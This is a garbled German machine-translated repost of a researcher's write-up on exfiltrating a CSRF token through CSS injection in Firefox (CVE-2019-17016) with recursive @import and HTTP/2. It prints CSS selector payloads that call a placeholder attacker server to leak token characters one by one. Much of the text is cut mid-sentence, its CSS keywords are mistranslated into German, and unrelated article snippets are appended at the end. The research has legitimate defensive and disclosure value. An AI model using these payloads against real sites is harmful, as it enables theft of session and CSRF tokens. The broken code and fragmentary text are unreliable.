0x00 Einführung Vor einigen Monaten habe ich eine Schwachstelle in Firefox gefunden (CVE-2019-17016). Während meiner Recherchen bin ich auf eine Technik zum Datendiebstahl unter Verwendung von CSS in Firefox gestoßen, mit der Daten über einen einzigen Injektionspunkt gestohlen werden können. Meine Forschungsergebnisse möchte ich gerne mit Ihnen teilen. 0x01 Hintergrund Nehmen wir zu Demonstrationszwecken an, wir möchten das CSRF-Token von einem <Eingabetyp="versteckt" Name="csrftoken" Wert="EIN_WERT"> Wir können keine Skripte verwenden (wahrscheinlich wegen CSP), daher suchen wir nach einer stilbasierten Injektion. Der traditionelle Ansatz besteht in der Verwendung von Attributselektoren wie diesen: Eingabe[Name='csrftoken'][Wert^='a'] { Hintergrund: URL (//Angreifer-Server/Leak/a); } Eingabe[Name='csrftoken'][Wert^='b'] { Hintergrund: URL (//Angreifer-Server/Leak/b); } ... Eingabe[Name='csrftoken'][Wert^='z'] { Hintergrund: URL (//Angreifer-Server/Leak/z); } Wenn die CSS-Regel angewendet wird, kann der Angreifer die HTTP-Anfrage empfangen und das erste Zeichen des Tokens abrufen. Der Angreifer muss dann ein weiteres Stylesheet vorbereiten, das das gestohlene erste Zeichen enthält, wie unten gezeigt: Eingabe[Name='csrftoken'][Wert^='aa'] { Hintergrund: URL (//Angreifer-Server/Leak/aa); } Eingabe[Name='csrftoken'][Wert^='ab'] { Hintergrund: URL (//Angreifer-Server/Leak/ab); } ... Eingabe[Name='csrftoken'][Wert^='az'] { Hintergrund: URL (//Angreifer-Server/Leak/az); } Normalerweise müsste ein Angreifer die bereits im Im Jahr 2018 hatte Pepe Vila eine sehr coole Idee, rekursive CSS-Importe in Chrome zu missbrauchen, um dieselbe Aufgabe mit einem einzigen Injektionspunkt zu erreichen. Im Jahr 2019 schlug Nathanial Lattimer (@d0nutptr) die gleiche Technik mit einer kleinen Abwandlung erneut vor. Nachfolgend werde ich Lattimers Methode kurz zusammenfassen, die der Idee dieses Artikels nahe kommt (allerdings waren mir Lattimers frühere Arbeiten während dieser Untersuchung nicht bekannt, sodass manche Leute denken könnten, ich würde das Rad neu erfinden). Kurz gesagt, die erste Injektion verwendet eine Reihe von @import url(//ANGRIFFER-SERVER/polling?len=0); @import url(//ANGRIFFER-SERVER/polling?len=1); @import url(//ANGRIFFER-SERVER/polling?len=2); ... Die Kernidee ist wie folgt: 1. Zu Beginn gibt nur das erste 2. Das erste 3. Wenn das erste durchgesickerte Token 4. Wenn das zweite durchgesickerte Zeichen Diese Technik funktioniert, weil Chrome 0x02 Firefox und Stylesheet-Verarbeitung Die oben genannte Methode funktioniert nicht in Firefox, da dieser Stylesheets ganz anders behandelt als Chrome. Hier werde ich anhand einiger Fälle den Unterschied veranschaulichen. Erstens verarbeitet Firefox Stylesheets synchron. Wenn ein Stylesheet mehrere <Stil> @import '/polling/0'; @import '/Abfrage/1'; @import '/Abfrage/2'; </Stil> Angenommen, der erste Wir können dies beheben, indem wir alle <style>@import '/polling/0';</style> <style>@import '/polling/1';</style> <style>@import '/polling/2';</style> Im obigen Code verarbeitet Firefox alle Stylesheets separat, sodass die Seite sofort blau wird und andere Aber hier ist ein anderes Problem: Angenommen, wir möchten ein Token stehlen, das 10 Zeichen enthält: <style>@import '/polling/0';</style> <style>@import '/polling/1';</style> <style>@import '/polling/2';</style> ... <style>@import '/polling/10';</style> Firefox stellt sofort 10 0x03 HTTP/2 Die Begrenzung auf 6 Verbindungen wird durch die TCP-Schicht bestimmt, sodass nur 6 TCP-Verbindungen gleichzeitig zu einem einzelnen Server bestehen können. In diesem Fall denke ich, dass HTTP/2 nützlich sein könnte. HTTP/2 hat viele Vorteile. Beispielsweise können wir mehrere HTTP-Anfragen über eine einzige Verbindung senden (auch Multiplexing genannt), was die Leistung erheblich verbessert. Firefox begrenzt auch die Anzahl gleichzeitiger Anfragen für eine einzelne HTTP/2-Verbindung, aber standardmäßig liegt das Limit bei 0x04 Ausnutzung Nun ist alles bereit. Unsere wichtigsten Exploit-Szenarien lauten wie folgt: 1. Der Exploit-Code basiert auf HTTP/2. 2. Der Endpunkt 3. Geben Sie das gesamte Token über 4. Um Firefox zu zwingen, zwei TCP-Verbindungen zum selben Server zu initiieren, werden hier zwei Endpunkte verwendet, nämlich 5. Der Endpunkt Mit dem Ziel, auf diese Weise Darüber hinaus habe ich den PoC-Code auch auf GitHub gehostet und der Angriffsvorgang kann hier im Video angesehen werden. Da wir HTTP/2 verwenden, ist der Angriff interessanterweise sehr schnell und das gesamte Token kann in weniger als 3 Sekunden abgerufen werden. 0x05 Zusammenfassung In diesem Artikel habe ich gezeigt, wie man einen Injektionspunkt ausnutzt, um Daten über CSS zu stehlen, ohne die Seite neu zu laden. Dabei geht es vor allem um zwei Punkte: 1. Teilen Sie die 2. Um das TCP-Limit für gleichzeitige Verbindungen zu umgehen, müssen wir den Angriff über HTTP/2 starten. Oben habe ich Ihnen erklärt, wie man mit CSS Daten im Firefox-Browser stiehlt. Ich hoffe, es ist hilfreich für Sie. Vielen Dank für Ihre Unterstützung der Website 123WORDPRESS.COM! |
<<: Docker installiert ClickHouse und initialisiert den Datentest
Dieser Artikel gibt Ihnen den spezifischen JavaSc...
:ist eine dynamische Komponente Verwenden Sie v-b...
Code kopieren Der Code lautet wie folgt: <html...
Heute sind CSS-Präprozessoren der Standard für di...
Inhaltsverzeichnis Design Komponentenkommunikatio...
Normalerweise wählt ein CSS-Selektor von oben nac...
Problemhintergrund: Es ist erforderlich, einen Sc...
1: SVN installieren yum install -y Subversion 2. ...
Inhaltsverzeichnis Vorne geschrieben Anmeldeübers...
01. Befehlsübersicht Der Befehl whatis sucht in e...
Inhaltsverzeichnis Mysql Master-Slave-Synchronisi...
Inhaltsverzeichnis Was sind Spread- und Rest-Oper...
In diesem Artikelbeispiel wird der spezifische Co...
Verständnis von Umfragen Tatsächlich liegt der Sc...
In Nginx gibt es einige erweiterte Szenarien, in ...